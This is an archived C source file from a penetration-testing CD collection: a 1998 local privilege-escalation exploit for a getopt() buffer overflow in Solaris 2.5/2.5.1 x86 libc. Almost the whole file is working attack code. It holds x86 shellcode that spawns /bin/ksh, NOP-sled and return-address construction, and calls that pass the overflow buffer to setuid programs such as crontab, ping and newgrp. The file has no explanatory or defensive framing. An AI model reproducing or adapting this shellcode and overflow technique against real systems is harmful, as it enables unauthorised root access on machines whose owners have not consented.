home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / libc.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  3.5 KB  |  88 lines
  1. /*## copyright LAST STAGE OF DELIRIUM apr 1998 poland        *://lsd-pl.net/ #*/
  2. /*## libc.so getopt()                                                        #*/
  3.  
  4. unsigned int ADRNUM[5]={  3000,  3000,  3000,   100,  1000};
  5. unsigned int NOPNUM[5]={  6000,  6000,  6000,  8070,  8000};
  6. unsigned int PCHNUM[5]={     0,     0,     0,     0,     0};
  7. unsigned int ALLIGN[5]={     0,     0,     0,     0,     2};
  8. unsigned int ADROFS[5]={  6500,  6500,  7000,  7000,  4500};
  9. unsigned int PCHOFS[5]={     0,     0,     0,     0,     0};
  10. unsigned char *SBUF[5]={ "ANS", "ANS", "ANS", "NSA","NSLA"};
  11.  
  12. char shellcode[]=
  13.     "\xeb\x1b"             /* jmp     <shellcode+30>       */
  14.     "\x33\xd2"             /* xorl    %edx,%edx            */
  15.     "\x58"                 /* popl    %eax                 */
  16.     "\x8d\x78\x14"         /* leal    0x14(%eax),edi       */
  17.     "\x52"                 /* pushl   %edx                 */
  18.     "\x57"                 /* pushl   %edi                 */
  19.     "\x50"                 /* pushl   %eax                 */
  20.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  21.     "\x92"                 /* xchgl   %eax,%edx            */
  22.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  23.     "\x88\x42\x08"         /* movb    %al,0x8(%edx)        */
  24.     "\x83\xef\x3c"         /* subl    $0x3c,%edi           */
  25.     "\xb0\x9a"             /* movb    $0x9a,%al            */
  26.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  27.     "\x47"                 /* incl    %edi                 */
  28.     "\xb0\x07"             /* movb    $0x7,%al             */
  29.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  30.     "\xb0\x3b"             /* movb    $0x3b,%al            */
  31.     "\xe8\xe0\xff\xff\xff" /* call    <shellcode+2>        */
  32.     "/bin/ksh"
  33. ;
  34.  
  35. char jump[]=
  36.     "\x8b\xc4"             /* movl    %esp,%eax            */
  37.     "\xc3"                 /* ret                          */
  38. ;
  39.  
  40. main(int argc,char **argv){
  41.     char bufor[10000],adr[4],pch[4],*b,*o; 
  42.     int i,n=-1;
  43.  
  44.     printf("copyright LAST STAGE OF DELIRIUM apr 1998 poland  //lsd-pl.net/\n");
  45.     printf("libc.so getopt() for solaris 2.5 2.5.1 x86\n\n");
  46.  
  47.     if(argc==1){
  48.         printf("usage: %s {allocate|deallocate|crontab|ping|newgrp}\n",argv[0]);
  49.         exit(-1);
  50.     }
  51.     if(!strcmp(argv[1],"allocate")) n=0;
  52.     if(!strcmp(argv[1],"deallocate")) n=1;
  53.     if(!strcmp(argv[1],"crontab")) n=2;
  54.     if(!strcmp(argv[1],"ping")) n=3;
  55.     if(!strcmp(argv[1],"newgrp")) n=4;
  56.     if(n==-1) exit(-1);
  57.  
  58.     b=bufor;
  59.     o=SBUF[n];
  60.     while(*o!=0){
  61.         switch(*o++){
  62.         case 'N':
  63.             for(i=0;i<NOPNUM[n];i++) *b++=0x90; 
  64.             break;
  65.         case 'A':
  66.             *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+ADROFS[n];
  67.             for(i=0;i<ADRNUM[n];i++) *b++=adr[i%4]; 
  68.             break;
  69.         case 'P':
  70.             *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+PCHOFS[n];
  71.             for(i=0;i<PCHNUM[n];i++) *b++=pch[i%4]; 
  72.             break;
  73.         case 'L':
  74.             for(i=0;i<ALLIGN[n];i++) *b++=0x33; 
  75.             break;
  76.         case 'S':
  77.             for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  78.         }
  79.     }
  80.     switch(n){
  81.     case 0: execl("/usr/sbin/allocate","allocate","-U",bufor,bufor,0);
  82.     case 1: execl("/usr/sbin/deallocate","deallocate","-U",bufor,bufor,0);
  83.     case 2: execl("/usr/bin/crontab","crontab","-e",bufor,0);
  84.     case 3: execl("/usr/sbin/ping","ping","-i",bufor,0);
  85.     case 4: execl("/usr/bin/newgrp","newgrp","-l",bufor,0);
  86.     }
  87. }
  88. /*                    www.hack.co.za           [8 August 2000]*/